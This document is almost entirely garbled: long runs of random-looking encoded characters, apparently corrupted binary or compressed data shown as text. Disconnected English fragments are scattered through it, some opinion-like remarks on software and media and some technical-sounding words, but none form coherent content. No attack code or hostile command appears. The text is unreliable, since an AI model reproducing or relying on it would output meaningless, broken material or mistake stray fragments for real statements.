zCS$&SE#ot3YLA|}7s2QT82KJS)QF`ti=}$ny$;(~ss(U^!K=U*j`;3qbmLaHXDc5@ zzjoJdBL+sphyN8o4ycrMz z`h`2wh8TRXHT0AkGTWBHoM!X73`YXg^q-Jh!7bvXCqFf){HhnS-jNV}yUdK9Z4CWo zk^Cz}eR=Y8OzJEiKD`E2zPZ(=@=M&gHpS!Jn~1qat>< ze>wE_z9PB3{$4~GLI8GsZ0vB1^ESIJOW5%I$3oJeZjp@^xhH20q-0_gO3OZ@YJ0Bh zdNcDS=POSBU!Ua>ZbPRLZslhY6NHbu&AY!7?P!$s(#S$tLU>iOtl9&=ZMPIDw?A}A z2Ngg)Pg*M++a;*wWvI>f!ptVGKlQM}^^aywk%?)-`r-2lz>759v>=3hzk)Hxg8xZd zs3sy2MQVbSgY}RYm0~CPO0+o3*LJyVEZR<3bg-Ri=xbEVm5`uB=SeSm5-G^??l&(L zWU2%tYcQ&wD<%*04wI3GY$J}O%$@B$tvT@gEnbt&P}g10Fe}6Jmq2B`v&s&Plu~;x z<+R`W12Am*Vs+Bp8JzmZchl^2&?*le7*~-`1JbW_CI%X3+~4Q|==z33S_PdZ9f`zO zK98cv2I71E$l{LIs}H6^3rGI`f+xCEs=9gVN|ti(9gg3T8Q zZOaX1$YvYp3v#BFF8d!;ZN*!^Z&N_zfoaLgz89d|_tjaI3hfXPgKEg=!WArz5I6hiY(6<+X;+3!=5^`k%xLR88nqD!GYYJ&t!dm` zU0-rI>{xI)Y!ii*0QWY6M#nabY~)DtSx%Gml!BhmaXA1YBaY7FZls{7o}|=~0hT+) zi%M_A{}j99A6uw;4+w!C0KVovbKrjJt2S{biy;o5Rn%IM>Gu$M2xfiPd-Nj^xvWJi zYRGnu^C-w$uv3y<27m6?oikUoZ|F@&_O8t{KL^N^^%kaD(`3ka0mHxho1AfFHA#-) zVL*QJK&+8(`h;@XI>@e{Nrx8wDUt^W;cjfrJlJ7HBjrVs?5B%wC!Ae6X_A9&;$;%I zFk&?ik%M8@zkeOoFK>;uGN}P_mH4)wS@k<~TUWG8gkpHjXW!@SOd(N`Gx0+tcu#U$ zGy)xe^y>j`-`BsUDaqEKLsJU?0O)52gbcc;F+z*ybJ4$Dz}E=gHje3~!P{~gLKn3V zDHTv>F!~=|Th(7X&jkYtdwTS|{983`Zkji^!Dctxo|s1avB1pD%h0lx{LRi5eEvV| zeF8|H` z<9*F6*!{}C<-xjR*FG?L4HMnCq0HX6=!B>4 zH+mL-^}wr-Yo2MoXvT+k8Ms?Md*wX)$>GWy|6z7pLyKRyN4B}*i~~Ns`^e4HPQ2xw zL(VASd$~n+(=E5IIg0$^pZlLv)Aas7*S#HmcK(VZC3hT&+lpR0Waj<>q3@2 z`sf`WfAhyzjJNMz&g_15A(AHQz> z)^CE3{_gS1LRUyWxa{IJ_dRaAUh=_Dmpt?Jcc#nUeDpQd?c4r!?(B!IzU%&g$4SIv!5^D7ts z`}bkpv+fH1!{|VRjUZwizRL;M}wETmwPww4bZn}oN`13PfV;`yx zf24cwuN!r*PFecw?bwSiSid{x&9!%Kn1ANZ)65q?{-5)1Iwi9GsXu(8pZV|&m*|iF zZ}{)8PCf0$lKP9hh7I3ZoX_9hweh4cwV$8cT>I4QzdpU@^tRXDif(@6=c_5M=KO3@7w23&#wHaYSJtB-Tc`4^VU{wTJv@E z#OTSC@sR%_>fYG?pY7f|Kl%NeclGSpaM#VNPi*XcS%2;^$2?DWZ92i<`uQm}=U=?@ zj2W$-<|Vh>IsfyUd%k~@{cQhF--(>udqiaEuJf+798IE%aGId$oVmAl@(YcqTK)HxgMjVDa~+a2qx zA3JH+H|~4>a?1waA6MPUJaqTTQ_h$@E*f%dOW`ulU|o^u?dg{qW_@+t%Gwa>55Mee?B{ zRj#+WS3djqg|4-8=RCh<*|KG?e)@3Vt#{b}d8Vi7<6~=1e|_bVb+b3hOOE~dz!P?C z0s*G^fuCmkmRYWOYwBsIRastLGV8usx9^y`vGJ%+?%wj3m&L`ezV+kgo&U1mf>{rJ zbo)W)ZawL`KcD%;dE80vjFR=Z(EXH0b}yQC=DAg;{IKsn*%cM{_g_%GMNH1xUcz$zZ`nF{>ca4eRren)hD0r>Ds?bGh=sAfQ1N07ajcT z<%jk@6Y;-!L3roU;V+9$x#_8PS;c|3ttM{1c-ow+mi(c1-P9WonskO_fu!xaL!Ldf zYU69wD_5@n^Ns~yvZtJX^gLSn#PKsWN#DBXY}MJfszlf9s0mzh>9J@2aCPMQ>wkCf zB4$}=*Lm#A_@Yhc9&zQjRe?*oOG5X&`Q%-W+n#BAMxuMQg?%yQ=R ze|~-XuTOsId*P`M&$#MPL(#JG2Y;6Ab4KV?=UWdxeu4MV=sr`fJ$3%tFV-nnUD^Ea ztzJ=R%D2ABhri}EzdgAuyz12Bmr0M+Pk-s#!>2#-)9jPl4*c}-eV_99=(Q(ZT~jps z^Am!Tk34dpn{@wLzB3XIyXar9CBNG_dG=)H^iQy#rWX|*aKeD5Xz4Qdk*^;9>st@Y zz`Ws+tB(5_yM^q#>h<2npRa#c`@oOypMK~K&0n-xW=!w3erq;remt)ByN;DDKVpjO zr*7!B?7nU4Y17v{aQhKn&nx$vwynN@+P3Y_U;V3=^@TQkZ?BPF`s?l!uiW{GiOR~-cRJ+_m_7rnt7pAx=(9;{o;T9V`{_f*^^4=&cz7Fl$*~zchx0A zD*NA<{-y^j{*K&#&J?-m#~t(kQev9+$fP+_&Y0mPyju>Ox6`UCp0fLJyyvi+FR3`` zM|sVUpU!P4#d|KJm&}=R_SEB>u72X$>J=w$34OZx!n3FK_V(63&>MsR+sbctRc(L# z*IyPt+`s<(haaxo_)1gVOTnX_e){QiUfk#818=?c)~`3at_#lF@rGwzrQ_+)k$+tM z!f`WauK)S_EjMpfUuvB9uTOTgFF5R<;sexRB|UTImA8C0f9Ka5k7+Br{3hGIw|&Sw zeB>8f9=c$`bH&BQTORzNee+FEFZ}W`ZL1NUJ9f>tKhHW#(`x(?9ysUhOMLi+|2W`> zk1n^KxcWG1OXn-EJm@|5f(vAyZD3xzdztp8mo4{Iz53HnKfS7Wzx#(bG_M7_FWYxc z-SyMn-|@)NC;ebs|Hq@R-trJVzg#nQQt7-iX1sn6u3fULckRdSbz9YE%;yxBX$cHO22dVdeYw6Lf|1}0!~^V4@Pdvtr~bLrgOKY#i7uivl#_`hqHOghoL z^kw6keX!RX?>lf!>$I)^UHj)Zt#`?aiVi#MuzMbRY}>BK@mZgK`Q^?_52<}ZZl3qa zhNx0wIBoySUT|Fa@CTtwjk=jLK6>)(llFUl)25qVc1K?9I^hqB3s0W@&ffys7mAL1 z_Pzy&PT#lct0yL($^>reUZCct*498whyNCxY`f*wTQB|c#jX1kZF}?KLq1|Qv-aKh zzw=nMP4xC!+4YYetuM3;uC2saSS0 zb7t+NHLayS#pITfLm%l~`sKs3pP2mdajWhPd{AGs{HGV+IpwD>9(r{8+NzUQuK)V$ zz^t=wIPBY-Uw-Yi*Fq=0C0ldx?Vq1vxoFCx|F@kj@^62$vgppq&u#p_V@{rR8S&(U zUj3@4HJgq(W%r~LzuRwDg<3uRx%=AhKI=(I{ZjW)ulw$PPSbtDlpi)X9DVgEzwFxB z<)o+sT8*2&{rJo9_BX%2^p8gz@y(^C=`fxjF|$o3lXr{v?Z;*>ex_6!AIqMqoqF}6Q{JAlaU-Z|-`lqNuXh}^ zbH~S5(Y9ZI`T5>kk2kJ4_(9)Wcl_nF?US5uZI=D{PnIbwAx{1kS6#LB4$(VBSKZ>< zvg7M-K6>tND|g*@>suGi)gSrAji>FuWa_CuZGW`+n%~vlx@zr`Gm5Woz5O=suUqc? zddV@XUQ|B1q;k9L^5@QMSueVx==^=(m~(!~tf_{g@;_a@?z8>yL&%eTo*6wYPre4< zvgnOXt2S)d(Ea1Nj;hVah5t&t{`p(?KX}mm%coqi%6F|#+14_%^oAFH=Rf}bGN&f6 z_|cj-H{SfgsiB_^+jbMgN~^=7shGh_Dj86Dni?4U3-8)^+pmd2#aO$s6u2`SldP-!kum8(&=Y`qbNA?K}U=wJUCI{nr!cT>)q) zKjQbB&ii)f&WGO8m<~R(R&(X7MdHdp#8!PJcJ~hQOma0=y!5fi%vGvu94zUGV1BKB;g-{j%9a=oUOVM)<{9@qQvb|*%XikTx`jM?$@6Vr zzwv-)gA|7D%)7TLOXi$m)IK_S&2=aLIPI8|f4IT5-#z+opFP}K@y3qey5;LXzwm<^74`b6$@?Ez zw;{0T{{4WFr~iKG{H`PKJ#gXVB@a^Ptb4`x`QZ=yzFEKX?YTv_pB&o$=I!4aZ*00` zYt=zVSIxTZ=|{iZuyxkuC7=Ft%6H#=SIXK}-}1pJS05F8dK2})Q}nV)k3D$pYiHeD zJy&@u+Ebn@e|+1^Z$0R(0!^dw*4sXf&iwe)@F6cX9e3_Si|fv>IlEzB!f@KOE3UZW z)9!<3|6drq%MV=@T5({Y{=Mp%PyFFI-v!5!J0>p{J>&W44-fBr^i)SHlv~!lhOhp3 z^;O55`09s0|McbK)z)=g_k8l|`P=^Xr%8_#uUgpu;YIqd{xyFccKLI+m!7cZng9If zlADaD?a*AX=$DG`zkFvMbHV|=rOS4IzlHvK$EHOqzR}z5_6q;ItL~U>J8HpmPyOQ` zXWvv??0fye-Mg{?M#o=r7BEx0!N@$5CtAI_e=`GVpb zkH2o^Uy3fg)%fHtD^5fPitGH$1BQH3*`iTGQtv-F(OMosf1L*AY)=Rfu z+ke7kuU&lh+5M}v|9Sr$fBy~3*WGDbz^t8osd3-Sh#OvZmsCD?-%FGdw&oM`+;gyl z2EXWh_}KN>i%%TA=;R|WzWCxRuDtTpOIp`PcZ1pVJ16Zt>e`ckBv<~j>yr(a&Z(aB z`76?e3r!y}R~B733ibOzd~NwRlhsD?6%+E z&~)O)_g`sV^z2hloo0M^=b!#DxtvAZM9{Fzi(_(Q|)waKNmQU3c$=-3x ztG>Trf8VBSt2Y=W0qV3jpE>Wm^LAa^JpHbBHk|Ym=(r!fHhT3Z{olT<1 z+^l#P2D8uf@)!U7>W{~+J#k+2>u*kf=h0^jr?pK7t!)MO>4kUvcWeEN4|*T_@$)-h zKJ8xdlau#9>XR3*xoN|O8tDP2AMiA`>@~w{!GC?k$g8WraGUNw;*3}O6mR@3F!!@Z z?nXS-XOA?2?sm?N5B%<_ZvB=A$x!IB2fbVBi~b=#;13qtyrM&DVQM&L?KkQA)Av8< zFXZZr{yp=Csqa2{LJ?ymoPYDDrqPCoWzv75K?JW;5@11%0@~<2+y_kDlG>+4sjHvIa_imR)l2jAL!9m1aW_quPeJn_skQ_erK^0dpB z_m>_X@O}$iCysGoQo38zH==F!E z|7G&~yJp^e+x3?&wY*gA|5$#0&*~ReDKX}kGl+xN83#c=FJEg} z)3o81>_-`fz{z0UR53|O#d|H z?jgfpWuqNYj3=wQ*iDcwH>buVVsXg5aL~8oKNL&YIg<9JHH#`pM|H6m=NK{qUy&;w zQa`kVc?&T*L@-W@4y!Rd$k9U|vQs$ARu}tdj=_B_g>%Hvdom1%gA8Ef+4HYw)efH8Y3~j)-Jf(t{t*GMvLwIQ#&j9tM4#VO!gi0pEkq zmi3!(w4byWrwnNg)Z7 zWI5aikI+;QfoU0LaAG8fg=xmaV(+iIIB`)n(i|G$jYq0Ze^WDHSDT+AxnbsARr(`n zq9A;;qFrQ|$IzEVj}H6!(&r!FEJu0?*ii|z+!KAp3#|-eC44yS`i`Od0_rjTZ}?d@ zB3-DN0osP8AKeFZYG5yGARR=TouMhphBJHeQ0!(NmG|WK#8?b)XnXvio}q*OMm$Of zxe@yr%b=pM$Tn97Xl{gM&^53l5C4Vu#^_WA6qRKDmthi_V_YoiZ}?Y=x5%>x6d8iO z!%xF{$iQ~QZ%zFTpBtW__NbdZc;WPw)qI5h8|&|#cA4mH_rrxZfVV6ga^oj z(h(;oYNEL|Aosd5rTdC7QX%%L zA&_2wvS_o{xsZ0>LoAmjbCZ?_GaB>JTd#+)im# zIbMU|93~Y@rR8E}xl~#PX9Dy}Rpl@c=*OOo8XA;6yAzsiM|+;S0Q=k?P(Q+UmY7u( zSySbf#xWZp8BRn*8{x-+|D=Kak1bR-S-{~oh_OyYs*6REfzttn+t7KfJxDCTG=2t? z$k4z`;2XJ_fd+iEj{r82hq<&91;+$|cN_d@jQXLEqv>8%j%ZF_@v#|a)dA;_z)Aj` zb*z_b3_ESDQn%0K$H@*At7>Ew9aOW;%XN5sL{Ei9)K=dmYNS~M&`XgiBf+=U4w_!H zQzb5}q|ZsCi8^!`cod|ah%H8kCKy0331?IO6)^`K1K>c6_BjzpdkA#G5JX+91&ZH~ zs*7D{a{~T~ZJnZ416cFlvD0cJ>A4a4};FF zu}?5?#&LqwL&TE(gu1d!0tcPgnMWdrKN0^V8aVi%g5nxW95=F^uF}p^=yRy~16H}; z=UQlkGni7ofb6VoZVih~dKayMe@$&2Ze529{?ei!8d|IAK^Nw7#?7IE?hZ=V(%IV6 zI$zetw#YPwT8*y7CJ*X;Hdlj3-0F?iGSPa6wxZt|axw}@MJwyxVl^Fi@?cxN#i4UMAe{74PWbDs9#mXMNBjTiL4b7CUM`Q{{IXg&HtR&srP1LK*ofUm{ zpN%CLU42E*IAEm^>PCr`!n>HjN?r;&ft3gv;afbtB zODyIDaZ}<9gmE-BmqZdyksV1mT_E91**xF`!S7C^hF4r-t7DqlB26NDH`VWQcNncM zS5QVeq8f)p)Nj%?Sj3fD))4h{j03z1p>CA$D!hvcc%6XP-zqCAXf^Eh@ahFMT!InB z{6QN<+7Y0J-839V84L`2!!bb;aPgioV`jx}2z8@GRN-ArAnF97{#FrH&}!K05fu#We6AEpDTYjj5R4AeUyd0? z+oNsG24ibmv#-&DOClYuie`g>?heRUZG*JQ)!i#IN=4045UqN~0Y!ySH%b&0-o*rp zPN3*-6-5QDhW{xPQz~dKxoCD;j%^L2YxlN5(2@ z>s)5eKv()(#J;9_oyMqYYi6aK&DY@NI^E)NfM_AqjS`}TcQG1>M*4EzG(T?mgN)tF z;+8(;)|ke)+)Fq}yqpo2bMBzm=EF&<+)Fbg*I&lE%j=z;P8(j=VYe8k8snDYB00_Wo(*N^H5dvfUb6NtVeaCW6(PwyXLqJ zLk?^f(k&PUYzC0tJKqX#K_5F02qcdi3B_FqMxpRF^AjT1+HO}*du21O@2-@(l^UCl zXswg#CFUN9zTX!J)YsOUDrJ#i#N)E{jEA;c2z8^x0pVSY1_yXkoz#gHUsbWP3Co}f z%OFn8+Ye+gj47aHkf7C&I-im4P9<;(gKW}-Sq4?A#qzA$?n>d7L8%8`KOIIMQlN&R zkk#&x-41gyv=^%*oOqA|9XX9@9A45lWrLfuIC8nZ6sO)*mpFNOCo8h9N&o0VY2NS(%OG=c5Dq1H%t zhCObR&e-d!WpmAC4Keoq%`jPlK6M_jLjl&ae6vHDtUbmKFs9Enht)!~sBGp)pUL0F z8ACmxW}MQ8qqLV*b$519a%YRgCUKb}avNbEhm)2N>PA9F-WxK*6SFbT(7Ll#dC{eHX zcj02MS(6nWQe6m={wT>q1wX=j;D{lFmXW|9Gdm!>hY_)$j%0DKjdTT(FV{d+!l8_4 zrn{^TlJ$ctNfT0ofOks=m~|tSh}BM0G^0rK+vUBi27IT6l~&*bj_SNG9WVL`LbGh# z%S#kzI8eaFL82K=W5cZ6CL3M0)g zY9N@%&bk4 zEmBFR+~3_-VGDb4W0w^o!HZfch%}MKGAvi9B7~NaP$dhCA-s!mgB6ejCL=7=WZ7iW zX8}xw6gRKrM9K;^N%lgNWNrilPO_E4Gbsgt9YJ#@AFxw7n&V0iVaJ_>o%H!OYTJIP zO=+kU^@SLNNGI=-G}VWjdpaD>7Fyh(@^<&x$Y`*|)=!5ztl5Pfxk4Qww2TsUgm*D+ zr~|>VQcx$RN=X0c!a;`DM~D*YBH{SLH&AeWQvskw(8L%7Eg;1hn-ob4q$hxDt zx`?B(LEhrW?Glxp8xKErA=Hf$a)fs=BIFFmPYBjpb5a}4m63FLSHRHM=(BnKMrSA8 zK-b&NZJfE=)0}HbN{Eg^ATLH8@3=t6qCzOG1%2y0ponZ#D3b1_ZRTU?VeJeKdKb{Y zl)&^T&9w-{Xx4Qo8&usDa)(NUYqUKOXrSLuwKjEWRGKJb>QVMOof4VVV>IXeup@+) zQDT7bE=I(FOwy5|+fb&vhL@pCupKxvVCGT)wnNaw$OB*~;B)iM4pG1qi0ugad0%FV z!2MX1z!}UzaIx^Cm=B~ii*m$;aNW&*nbGYCH5&sB(V()TCuDN?*%lA2vyj@THrU}& zR(9zO&1C+CD?(@)32!osY=!qQZg4XpvPD5n3xG6&=EPv6K_RimVkV-Hs3lp0A}Az@ zMV`+C4hvps3m_h6(C2{o2|-_?)3KdzdWa@V+ADk}d9T6fQPxMB>xqaZ zAYHyTEmJqvzd@nDBN#mLBrrt_JPJ1WD}5|Bv&E` zAykfXn-bo|h}%^1L*^hDWRwqXx1%WTDE$jLb3rnP#hEz#x4Z6^l>m zCkZ>D#yDiA3xS{@9|FYZhxx`rN*$gbBq6Jt9kGQj(nf+WPc%-Vzy)5RmWcni7kFF9 z-`YgdO>MT2%3}4`bvPvLW~Q=L+tL)WT5(Hvqp!}XZBWqq{F{{vp=FfISa=sBF5^tv z&H+r0?|>i>%XHW9I?)M9;$9+26f|cBL91kJM|*`@B2~*(nI(y+GLBo2!DUdAj~rTQ z;bDTMy>Q6Qz*wN{A{oOn@Of`CiC{f*o5@a%^;-ytEX9^thN96X63za3Vv6kVp>->G*xILjKNW z7$0_q|A7&9H;ok^8%0vSgiNj&Te&i=21)Gjl=_04@ccD=XnT@HITs-Yb2P>sg6NR| zr#^xyD~pQ;bAo~$vOZT(<0cisZpP(l?*ZR5JE;^mYdi)8BdzFf4_4OIM|vC;E!p|5 z{2#1@P&rBz6y8N)QBV+lgHdp-Vkn794Vl5Rpa5Gjpjs(dwvcgSa z_1m9oYT$jxa8fMZ?Z+S`u!mRGMl-B31rv!iCT> zO0*H)#kir(1fNq#K1a~R$OELvvpB8g6Hepwt?OIWzcg zE93yL8BH#B!S0&zU^L|;M8A_sQ)3JdTxE|jj7gNKfo%9IU_Vhb;f!1;A6y3{elbBb z2FFpF3L?cGI+{W%X+EVE1aoA#Tpdg8E#82=B2-Vcuq0`yb5~aM2b!E7MV~er4ElU* z1KZ)z``v84KYLKNTpde=&@xK67T(3U!Sw`lxR)@8g67O%Bp+KSSODuvwLCj>I7|$; z9ID5{5FcehQbY#u;{XX6*!v){I*5%2Y*CR4ZNLa03DWp8Evn6xCB7-pMT&@!L}iMS zT8I~`m*J*PpT8Gxp}qC8{+6D)s3P3es?ru9K%5X-MhR8IyBIg9n&2!8$yo}T7=!Rg zI<}xH3bho1s$_BeL6wO^WRBIAX##r^^U@$Ivl9%m2?ZnfnCA~mCwd>7sNNMas>F_- zCa~%>)v7|?%4Uxg42F7jdY8^eg*&5t6-H&a5|_#IA4Wk4Eu#b);a!Xy&`j_|dkIe@ zXwKvTgJfAvCkli?NNH%mC=#4xILKs!^o0fx>!YM{kd4y;zfdXiqltnEf(yC#a15A9 zv%nFR<%%PcDaDn_`c}HfX0$dD1jJoXm}HDD+S0;WD!M~`fd(JzXu;j$aQ=0QLTDK! zPzmp1+<y)P!cRrDZa5HF!wl{Rj|dPQ^XCA6inKZ9 zE*)>cJ77RkWAK4A16n{^cA9*eFSX)6FzjQBF*idvtBdCzD~SJLA^RLfi8#8tSkQwt z=wJg25}69PKzNQIByOVYPq9jl|Cz~5Ifr5(@KVOX$Js%H0bzoUv7NM9TIlwGl`=YL zHryoctn>vVJ+6M0qNlR9xjWovl1Md`opn*8!<~QWvk+QFx$uQ|k+Se(p<@QG{7mLf z19LiM+Go0Jc%!I^lh$5x(h@Xh2BWcT=u{A7q%M`IhdF5_ePZ(}?Llz~kkM2KSQG~z z8UfjK=Lmu1t_F#>39oM>S{XUbQF4v4vPa%Ym_f803fh`&w8q)qVE1(eX&B4#^8XY< z4*DR=0dNweKWE_^?M;n+ zTCbzcL>cvXpS?}#kQ?Rg25DudD}=kfP2HY0Ww1wCTU(pm_c>>}Ujej?a)t|e-B=eR z&hSk8>d>i{>8{~--wE+SA;kxRCdOcB8LJ5;$^cG@J& zlwnB739N+@EIZ@TS!uAvYFfUZPJ#k+j6d;NeC^YgeKu#j2kpf91Ql7 zgMpwqlLyq2jyGxCP1#387^qILaL8T6hmBXp~VtnTZ3+ z1)nq#=ej^~t_4krL13d8tCOfgrIu$seJO@<5>1iz7CYPCRi^E#yg6(8L%F!((-xRaAh1U$&E~ zqA-4HBu3FF+BedRf%caVmaDGI5z5$=4J|=cr@g*IW3%|=l*bb3rrWtz(id=Ww*GE| zsy||B411fJ3m^{@K+8xdlbOpC^0u)a#tmd9*t`OjN0C&~~_g$PhXfsa0a-gFZf3jt)4hBn}?54QsE!xEGeB6LgT z7)OHU9$EWYqMRF)<}BudDBi#$fty4XAJMff3Q=t%I)aH&J>F;Ix~YnORkOqIA;S%vF@(3^A}gE!qpuKJMgqkwte5aE#tjuGSg%5|UV*ZST4_@O5JmtkBOy#?woAy{POx3zJq>bGlB0;~;>8>; zsStbBabImXiXca7O$g_3FwFxSJGf~S@y2Vxsx8(C@{X2=qebt zkVx}rXYhV-mKe}E+Bq;u2763i?})f44KO{11lz;Mxeg<@c*GhZnN!dYcjX9@@SsMo z)X6%`Z7oU>uIvbQv^gMjq0!4KTg6r%Zfmu8Y$0=97ngqzFd?*z1W8$#9^qX~Fg+=_ z^xI8QB4}a^2BxtYT>~U}21|Ajcd5UJ!8Bvm=l}_7OpFJ;jl+H~~HqaGGO@ zK#)My5JM8c2)R}81``y4?qeYmKZIC~8E#=N0#cYD9VMLW5)UrG{4vY};|d(OtC)EO zZbu>F5U?RXGPs?Ayx}1nPI!I_w?ocN1eCm!S`fdTH*rEgpV0>~c9ZNd`8Zg$6pe2kWKN%2L1tA3; z5_2K7ACk%Ejst5^Qd*p59HCw_)m0a9y9v3xgQ|$sb~_~%ZjH3l+u!4rS9E&9**!z@ zA3jA{~sXoo4ZHht}L4AeD95J;C$8T!c_Ly5%Cghr%uwLGpO)Cg-mb z@w@mdNg{ks>@wjy9=l9vz+#sPsc-Buoghg%Mag_3v76IrO2(Lt)uvOG45-1^CVg;Y zm+4eV)2T}GC9#{+sgkA-lr)_xY5Gt})2WiBkCiNatYitQ2K;4t{n=bN#Zf_!79B@% z3t7%V(q-=BT-?IxX%)!-Jznl0oJh-umsm^D84!L=pF2=yiQWqCyVKLF{)1%`{Tu^K3N=y7o+-QF%vIF^~qv3UX1FK#az4?)hCOC z@nTe;EDptsQGK#F94|)o$>K=77}Y0>qw!)?pDgZ=7o+;p>E-1}K`e66_MjJ7X(T{E zb2Blmyts?x=a8QcmvANS5~9Rgf|rmbKDc7wx4p!}m*emg)srPGl+h&)xD)+NltfDW zB@~p9P>-H-@#V3$oY0ni;7Qbi5AJ6Z_p$u_s2v}al6;$Vi4*?f_?9X78?{511mPNo zyBzQv-GO@Y@@@HnN<>W%`ax}@{(?{z;;+zMBv6M#2?zJ#a7O^@(KS&LhTrJEF#KnS zztKCR5kS-=?~1=Qdfo-K9Nd}g1J$B8Lu1howTK$@J~&W`T1F#-+D3QKe9N)-Kz|eP zKh!@{5`{Za&xk4lo#_x zV{e`qS5n08x)ks=iJaQ z7#mwOPN@C(cX2|iXv~shY3JV-Q9}StL)$?!AvWXCY>9o>_{>UvFLW3BT0yuM&5am! zXl}=Qq@kZZ{SxTj;lBe5ec{j-8n@WjK<^Y=!H7omK8PNiU%zO^qFG48Pc*w?a~FNB z*t2LPaiBTM|7PGXM5_(%M)(21Gx2X?1co1h1=8fEMY2|uz04X#*{fksx6^Ei*=jMI zU@e!H&X4U;{B?>NyNrgOT|*j!uj*bQa=L~&XQsSi_HTOd@{Y- zB5WSJ)K|QKT#)u!Wa*;f9)c}a7dO$xr3+6gFYjn-)M?rpu=WNWX4dEp+BtLP6eKm< z0F#Q2KdEQF;gWAxsAUiwSoOc1o7dy4jdYr{nvhP@NlGFvCBuo?zA)F&rB~UMS`Xti z+WIXzS66fP;0w8Os}e%XNV176YF6Q0j3}JQmt)n0m*-yM+q=E+o4wsD0Hyt&Q zH9H@wOvoy*!66Ji?gKF`6$CY}6Jv3RGy}gm$cssUx&tJ-vDRZg z@o*@M;a;1Mn6 zG60x{QPDCx%0&#;aU#k);2e-6EYfv)TbasUos~9-oZTHkzdYL9+uXpk;#zT|y;&p| zbxSEr*kx-OPra)UDo2M>!h0AIrIPxL90chUMBm^QGd728SQOxpokfv^Dic#NuY3W@ zqDg?V6$N`BAiS;51KT{mQefA{w6MH@4WLLHgEP?tMPu8jwe23SNNG3e+AOwKqby`p z1iJ#7V4$9EZf2ss7LQTq61AIk5q2}C##z3}KhdSALfh^O@ z2XjiAhOKjKc+e#CM0K8ev%SUEWvP!g;|fEM-e}cS=%QUZeW1%*hl@0(XtdptJ)(84 zR=*HhM!EWhcQNAXFO2*mF#!@YhX3x_md#Kg0w+s`Enl2i>!RdZFZ26c#gOePio8#F zY*Aw}acb5-{%WrPi~`_=pgEEUyvX7~JOW;fElTzOXR?{rwK3BAb0_}4hrr7 zHgaH3&w$G`=MLIC%SP2}V zP#ukKLz)a^pbw7N$Xwn>guyV6U>2q0!oaQ|JZho8u{}U(`#PFB!!ms@*CeuYwrEA9 zqo-cmukaeReZAeCe!bV!6Ue`bybxMOxgQAcVlUYbzPj$bRbAk*&(Xd%FHA70QY?Od z^$qE>K=AJ1C1@`hL2Zp?dq}oYc!sh7`-7l4leRxdP@L4U@RO(kwLG)EFeGtFTEXQy zRm(8@gAI2>{4C4^NCdxFH;+zyXa`_9kQOuOBY6i$2SJfARUz*tnzxX56XBd11G#k> zz#dE*FjM0niHV8gCnv7VOO(5bh)SZ+4hV`+ju*f}lEEO$3rV3C(kK3?;jc^Q7OMzV zozkK+8VOs#SE&jsNO3^h*{rWOQ9+a6Z}gdDp- za%@3!Vi3BG%|i$P3_OGsSwSOa8OrsrVoi1UU2$9+t}kA(K}k_s@2;Wd#2=0~YdW670yt{B3hG03}wBJJQ< z%BS>lfzt^u7X=qk;B!MT(dZz{2kNE>FPkg4mn*_dMXRORLbxriUJ>4=!n;|$vD5AL z%B>;BqiR#M>CJYfJJ11NdE8QG2%vIw8-b8v=AtPi#TgEwdo946IPh2K z4>&jyAp-0`(28RSmSj2Pex2~E#te{kFRrP3f7Qi_3s_*#N8;7SCS$ajn(MS0+EHg0 zN0hz3=5A|k6Dx5Ty%tTh!y=_!7DK<@Vl~!>vahmS$ry#uGSXVgqG1r;#fXb(LdM8z zL<*#oD8Ly~&>YDFpvf|)`^+n#rTJmk5_pg!ok3~=GEzdvM=*y1As0x_K*@pIkcAX@ zn8Lx44^ZJDDQX~UU?N!us7w(jf$DiLZjh((9L8XMjm}H=kqP0onhitL3oGjdUsiQ- z%~#i5ab^PMcn`0!YE&ZDFgV3DdAdSUjW1~Ibkq_g=vGZ_75#074non>(nki{^wx^z z{OA1;Ldz)8PIwo43EE9a(7-Tfe1e4unlppZZ%mdS2;ji-BXfFIzA^y@IcDe5(9iAl zdI9*rhBM|=50;ufOd?Hq-yns3<JLX*gS4liPtwsY@0B?{_8vW5;g;#zIvR9Yk3zX((uB}55^QCb zdL+om!LT@2$g`J8k<~S2Edfrf)h|F=^CDE$yXXGHS<9|z)k?joi?El5&4?*=Hxg(3MG98)2zhzsn_ zQRX!Wb_h|SK|6r34AWXV;0Oy*!t6MT!~?t^g^HU%GUNr@q#Qw9b3g77hZ}>&#&DzC z=hezx-sav=5NAX!jjXn{#TZm{_lkn19uu2)h!aA~ND!Ch94fqval^O?U!A?gS4YsC z$pZ!|GTY=94g(!@uF^7hMBQv%b6eOTmpeQ*C85WIRwvhHkjY40NbfZ$+FebwiWMm> zp1h-t5L!k;o6HQA@E*nuY$h100x?vA=ENW{0X5**7%BxA?`AQ)m4K2l!BXV-m^X}} z1VoC`KoWR3+o7Brab1=gt718Z_PJ`ba2A9U9xuz+YwM781Y(?gLBs;_DzDgmRW_!k z0S<`ZUJmRNSX~ei97Sm5^<}(S7z*QxEGqcaAFO)sj!cyr-U#`{yX+911AgNR&`(?G zim)3*btSe^+wy9Bc{TbuuiCbdA-Es|+~>lRc<1^oPvN|YJpaR1iX(S@+amP1+BUBm zPqZ=L2Cc-MkOqW+1HT|{*N}ObRBgpVwWs?-*lB;XHpqct76wyz;O%&W6zF1D2_v%B zb4yb!&FerN+D1SY6`Z3J;o;e20f*bbYM+Qy7mMQZTne`lRCRF|;aGra{0t_MV<@}; zP~v6=;>-KM(54s+?~!#Fzv|MJT7w@QkcSR=yxc8?*F!W9GBb<#!G_Vw4^kI{`~3uv zPCBZKkCpUWES;@ZM^MvI*&ptzY}6_vU7`kA3(?roV-K48y4$SQZmC{x$sXY^S0V-> zw2ZVPX5qhucagFs#uSW$hBjYnAYi&2BvV}sB6;xoG1Cmm^{3C(L7y0Oid;LaN^4d- z^H@M}QS4V4>lSQd{@aa6E@)n)Zi`}p_Jf00GR8NM&3=%tOnmhr+hSo8kqQbjnVN`H z$b)-XB2wOH9QGTIi^ddMAo~FI7wqd{BpTtX!(jQyE62*ftdfZM2|F^FiR<%`RV3UA zS+^3&OnG4o3d+ufLHQ5&qQJ*?2*VEYRf=?~ zl<8xoOs7hjPL(p9DrGuV%5Y{Is)}@~D$=Q{NT;eIovMm-sw&c{sz|4*GM%c*bgC-T zsj5t;sxm=UiZmxK$cU$N6}jMW>BsFJ5I=&LjPy;P4w;3JzhlYtX~j-2R}8;U$P4tF zX3C?b^j3Rs`G+U-&Tx=;ery7%?@@ddu znFR$@qF=ZN#hS;UC{+39V!EHbTx(B-UkyLu;5X}*B?}*=q7>;1P0ZAu8S8B&m 